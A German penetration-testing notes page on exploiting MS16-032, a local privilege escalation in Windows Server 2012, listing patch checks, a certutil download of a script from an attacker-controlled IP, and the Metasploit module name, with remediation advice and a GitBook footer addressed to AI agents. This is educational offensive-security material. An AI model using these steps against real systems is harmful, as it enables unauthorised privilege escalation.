> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/kernel-exploitation/windows-server-2012-kernel-exploitation.md).

# Windows Server 2012 - MS16-032

MS16-032 ist eine lokale Privilegieneskalationsschwachstelle im Zusammenhang mit dem Dienst „Secondary Logon“. Die Nutzbarkeit hängt von der genauen Windows-Version, Architektur und den installierten Patches ab.

## Erkennung

```powershell
systeminfo
```

Vergleichen Sie die Version mit bekannten Exploit-Referenzen:

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

## Patch-Status bestätigen

Exportieren `systeminfo` und vergleichen Sie die installierten KBs mit einem vertrauenswürdigen Tool zur Exploit-Einschätzung, bevor Sie das Modul ausführen.

```cmd
systeminfo > C:\Windows\Temp\systeminfo.txt
wmic qfe list brief
```

```bash
python3 wes.py systeminfo.txt --exploits-only
```

## Übertragen

```bash
python3 -m http.server
```

```cmd
certutil.exe -f -urlcache -split http://10.10.14.12:8000/ms16-032-check.ps1 ms16-032-check.ps1
```

<figure><img src="/files/76be3bf2066d3b5d8a29a7874ccfad48fa465e70" alt="MS16-032 validation material transferred to Windows Server 2012"><figcaption></figcaption></figure>

## Ausnutzung

Metasploit-Modul:

```
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

<figure><img src="/files/34fd4aa6ae5604c194f359513f11c8a2f438649f" alt="MS16-032 Metasploit module" width="563"><figcaption></figcaption></figure>

Konfigurieren Sie die aktive Sitzung, die Architektur und die Zieloptionen und führen Sie das Modul erst aus, nachdem Sie bestätigt haben, dass der Host kompatibel ist.

<figure><img src="/files/d6ca091ca27ad90da7548221b2197754a1e18ed9" alt="MS16-032 module configuration"><figcaption></figcaption></figure>

<figure><img src="/files/6140cd251a02659836648d11fe2cf57457b626b2" alt="Privileged session after MS16-032 exploitation"><figcaption></figcaption></figure>

## Wichtige Punkte

* Validieren Sie immer Version, Architektur und Patch-Level.
* Kernel-Exploits sind fragil; testen Sie sie in einer Laborumgebung, bevor Sie sie während einer Prüfung einsetzen.
* Beheben Sie das Problem durch die Installation der relevanten Microsoft-Sicherheitsupdates.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/kernel-exploitation/windows-server-2012-kernel-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
